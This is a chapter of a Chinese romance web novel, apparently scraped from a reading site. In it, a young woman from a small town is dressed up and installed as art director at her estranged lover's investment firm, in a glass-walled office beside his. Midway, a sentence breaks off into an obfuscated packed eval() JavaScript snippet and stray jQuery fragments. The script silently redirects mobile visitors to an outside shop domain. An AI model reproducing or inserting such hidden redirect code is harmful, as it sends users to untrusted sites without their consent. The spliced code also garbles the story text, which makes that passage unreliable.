早上八点左右,项尧换了一身藏蓝色鸟眼西装,提着灰色公文包,下楼上车。檀云栖背着双肩包站在廊下等他。
他上下打量了檀云栖一番,眉头皱起:“穿成这样去公司,不怕丢人?”
檀云栖低头看了看自己身上的服饰,才买的签约战袍,豆绿旗袍配米色西装。上次他还说可以,为什么今天就不合格了?
没等她说话,项尧已经拨通了秦儒的电话:“你过来帮个忙,带檀云栖去买几套衣服。”
挂了电话,他丢下一句“我在公司等你,速战速决”,便上车离开了。
秦儒很快开车赶来,带着她去了市中心的品牌专卖店。
檀云栖看了一眼店铺装修风格,感到钱包在哀号:“秦助理,我们要不去一家便宜点儿的商店?”
“檀小姐,森洋是申市排名前十的投资公司,服饰就是您的名片。今天可是您第一次亮相,不能让人看低了。”秦儒耐心解释。
潮阳人不在乎穿着,资产上亿的人照样穿人字拖去菜市场买菜,可申市不一样。这里月薪八千,也要背着LV打车。
她叹了一口气,入乡随俗吧。反复比较,选到几件百搭款,也超过一万块了。
“先这样吧。”她无比痛心地把衣服交给导购。
秦儒拿出一张黑卡准备结账,檀云栖伸手阻止:“不用你的钱。”
“这不是我的钱,是总裁让我办事用的。”
“是他的我更不能用。”檀云栖从包里摸出手机,打开二维码递给收银员。
“为什么?”秦儒不能理解。
檀云栖轻笑了一下:“少一点亏欠,能还得快一点。”
收回手机,眼看着余额划去一大截。檀云栖还是忍不住悲凉,她可太穷了。
买了衣服鞋子,又在形象店理发妆造,折腾了整整一上午。檀云栖连连对秦儒说抱歉。秦儒笑笑,低头发着信息,项尧每半个小时就要询问檀云栖的进度。
下午一点,檀云栖全身崭新走进了森洋创投开阔的大堂。
前台迎宾笑容可掬,看见秦儒更是殷勤:“秦助理,总裁等候多时!”
“知道了!”秦儒引着檀云栖没坐内部电梯,而是拾阶而上为她介绍公司构成情况。
森洋创投虽然才成立了三年半,可效益高势头足,租用了申市黄金街区商业大楼的整整四层。
这四层自成一个独立的空间,高阔的会客厅,密集的办公区,相得益彰。整个装修风格以冷白与深灰为主色调,家具简约,绿植错落。落地窗外,城市天际线层层铺开,一条大江从中间横贯穿过。
迎宾给总裁办打了电话,项尧暂停了手中工作,站在总裁办公室的内窗向下眺望。
小小一个人,变了个模样。她的审美永远在线,深灰色西装、白色长裤,长发柔软垂顺搭在肩膀上,看起来像个出身贵气的都市白领。唯一违和的,是她十分拘谨地跟在秦儒身后东张西望。
秦儒尽职尽责地介绍:“每层楼都有专属部门办公区,高管和总裁的办公室在四楼。”
一行男女擦肩而过,每个人看起来都衣衫昂贵、气质优雅,她的指尖不自觉攥紧了衣摆,低下头。
从遥远的小县城,突然踏入这样的资本核心地,她再次真切地感受到两人的差距。
当初被他的美色迷惑,很多细节都没注意。现在回想起来,项尧举手投足间早已透着贵公子般的优雅。
他的衣物皆是纯天然材质,常换常新,卫浴洗漱用品全是陌生的外国品牌。就连带她出海的那艘白色双层小游艇,当初他说是潜店老板借给他的,如今对照他的身份,谁借谁的实在难说。
至于他的水性,更是惊艳。不用潜水装备也能憋气下潜七八分钟,几乎达到了世界级自由潜水员的最高标准。只为给她捞一枚贝壳、捉一只虾米。
她天真的以为这是他从小生活在海岛的缘故,如今才懂得,这般精湛的技能,全是金钱堆出来的专业训练成果。
她眼瞎了一般,把这些能揭露真相的线索全部错过,没有半点怀疑。一股悔意涌上心头,暗暗懊恼,不该招惹他的。
现在只有夹着尾巴做人,低调听话混过这三年,尽量让他的报复轻一点儿。
四楼的高管聚集区工作人员少了一大半,整个过道静悄悄的,檀云栖不自觉放轻了脚步。
秦儒敲了敲总裁办公室的门,得到回应后打开。檀云栖跟着走进项尧的私人领地。
宽大的黑色办公桌,一面天然山水纹理的巨型大理石画横贯在背后的墙面上,项尧居中端坐,就像坐拥天下的王者。
“终于来了。”他不耐烦地扫过她身上的新衣服,把檀云栖看得心头发毛。
她局促地整理着外套下摆:“这样穿着行了吗?”
“勉强合格。”他转头问秦儒:“就买了这一套?”
秦儒据实回答:“一共两套,另一套交给丛浩送回去了。檀小姐坚持不让多买,说够用就好。”
“够用?”项尧没带一丁点儿笑意,“檀小姐还以为自己是来做客的,过几天就能走?”
又被挖苦了,檀云栖有些难受:“项总,我手上只有这么多钱,总不能一点应急的都不留。既然未来还长,就等我努力工作,一点点添置吧!”
“怎么,没用我的卡?”项尧看向秦儒。
秦儒轻轻摇头,双手奉上黑卡。
“是我让秦助理收回去的,少用一点您的钱,少欠您一些。”檀云栖看着自己的脚,新鞋虽然漂亮,却夹得脚后跟疼,不太适合惯常穿拖鞋的脚。
项尧盯着她垂下的眼睫,沉默了一会儿:“行,那我就期待你早日发达吧。”
早上被鱼粥带来的好心情荡然无存,项尧接过卡扔在桌上,随即起身整理了一下西装外套,吩咐秦儒:“去召集高管开会,带她到我旁边的位置坐着。”
檀云栖跟着秦儒走进四楼大型会议室,坐在项尧的下首。
不多时,管理层陆续到场,男男女女皆精致耀眼、气场十足。这身新衣服至少没让她显得粗俗不堪,让她松了口气。
她偷偷去觑项尧的侧脸,他这么在乎她的穿着打扮,是怕她丢脸还是别的什么原因。
秦儒负责介绍,一连串的名字和头衔砸过来:“这是投资部主管徐祖龙、财务管理部主管朱铭、这位是法务部张钦文律师……这几位是森洋的股东,有两位没到,这四位是许新忠、蓝景辉……”
“我是第三大股东,财务总监,还是总裁的舅舅!”蓝景辉主动给自己加上头衔。
檀云栖正听得头晕,一下子记住了这个穿着咖色西装和项尧有几分相似的中年男人。
“新来的,你是哪儿人?”蓝景辉上下打量着她。
“我是潮阳人。”檀云栖谦逊地回答。
“哦,潮阳?潮阳有什么知名的投资公司,还是名校?名企?”他的话音未落,桌面上不少人已经吃吃笑了起来。
檀云栖秒懂,这人应该和檀二叔差不多,专门喜欢挑刺。
果然,在项尧介绍自己收购了檀氏木艺,聘请檀云栖作为森洋艺术总监的时候,他第一个跳出来反对。
项尧靠在椅背上,手指点着扶手,不紧不慢地反驳:“森洋是我一手创办的,目前在高科技、医药领域已经收获颇丰,但是艺术领域始终不温不火。收购檀氏木艺,自然有我的道理。聘请檀小姐,好不好用,总要先试了再说。谁对我的决策有意见,可以另谋高就。”
她一愣,这是第二次了。
虽然项尧羞辱她、嘲笑她,却没想到,只要在公开场合遇到对她的质疑,他一定会鲜明地表达立场。她是他的所有物,他对她的安排不容反对。
这怪异的认知,让她有些别扭地交握着手指。
桌上的股东和主管们眼观鼻、鼻观心,安静如鸡。没有一个人再发表异议,蓝景辉咬着牙坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612708|206012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下,准备给亲姐蓝慧珍告状。
“那就欢迎檀总监入职,观察期三个月。”项尧轻击手心,以示结局已定。
檀云栖赶快起立向所有管理者鞠躬敬礼,“感谢大家,期待合作愉快!”
会议室里响起稀稀拉拉的掌声,大多数人对她的存在并不十分在意。这行业的特点是机会大、压力大,人员流动更大,谁也没有期待她能熬过三个月。
小插曲过去,项尧开始听取汇报,布置任务。“Q公司的DD做完,估值合理,可以建仓。请投资部跟进……”
“LP募资到位,这笔钱专门用来抄底……”
“投资人选的名画,可以请艺术总监评估鉴定……”
同桌人一开口,檀云栖很快被各种专用名词弄得一头雾水。难怪冉黎在她出发前告诫她,森洋的门不是随便什么人都能进的,她连最基础的术语都一窍不通。
她硬着头皮拿着手机一边记录一边查询,会议什么时候结束的都不知道。
秦儒走到她身边:“檀总监,请跟我去您的办公室。”
檀云栖终于回过神来,他说的总监是她自己,慌忙跟着起身。
走廊上项尧正在和一个美人说话,檀云栖记得她是人事兼公关部主管韩潇。她干练优雅,一七二的个子站在一八七的项尧身旁,显得男才女貌十分登对。
项尧只需要微微低下头就能和她交谈。说话时,他的目光和煦,和看向她的冰冷截然不同。
说话间,韩潇轻拍项尧的肩膀,仿佛上面有一粒灰尘。项尧不甚在意,专注回答她的问题。
檀云栖心里有些了然,他们才是同一个世界的人,她和他相隔的不止三年和一千万的距离。
“那我先回去准备人事档案。”韩潇笑着转身,路过檀云栖的时候,露出一个更加明媚的笑容。
檀云栖见状,立刻回以礼貌笑意。
项尧一回头,就看见她笑容满面站在秦儒旁边,脸又恢复了冰块状。
“跟我来!”他冷冷地出声。“秦儒去准备新员工入职资料给檀总监学习。”
檀云栖一听他说话就打怵,像霜打的茄子一样:“是,总裁!”
项尧领着她走到总裁办公室旁紧邻的小房间,推开门:“这是你的办公室。”
檀云栖走进房间,发现办公室装修和项尧基本同色,只是房间只有五分之一面积,家具小了很多。房间同样配有两面玻璃幕墙,一面是总裁办公室同款江景。
另一面灰色的透明玻璃墙,与总裁办公室的接待区仅一墙之隔。坐在办公桌前,能清晰看见项尧的办公桌。反之,项尧只要在办公室里,抬眼就能将她的一举一动尽收眼底。
这办公室竟然是全透明的!
她瞬间感觉自己像个被展览的标本,心里堵了一把木屑。
“怎么,不满意?”项尧紧紧盯着她,不放过她任何一个微小的表情。
“这么大的办公室,这么漂亮的风景,当然……满意!”檀云栖腹诽,这明显就是对她没有信用的告诫,她能说不吗?
项尧很满意她变幻的脸色:愤怒、委屈、不平,最后被灿烂的假笑掩饰。活像一只狡猾的狐狸。
“满意就好,檀总监。”项尧优雅转身。
檀云栖眼睁睁看着他绕行到总裁办公室,在她一墙之隔的地方晃了下食指,提醒她坐回工位。
她只能默默拉开转椅,像个学生一样规规矩矩坐了进去,把腰背挺直。项尧看起来十分愉悦,踱着轻快的步伐回到座位继续看报表。
檀云栖冲着他的背影吐舌头,又在他转身时呲牙咧嘴,露出虎牙。
他坐下面向她时,她立刻收敛獠牙,赶快收拾桌面上并不存在的文具,好似很忙的样子。
那时候的檀云栖还不知道,这面冰冷的玻璃,会成为他们接下来无数次心动、争吵的见证。
更不会知道,他在这面玻璃后,看了她无数次。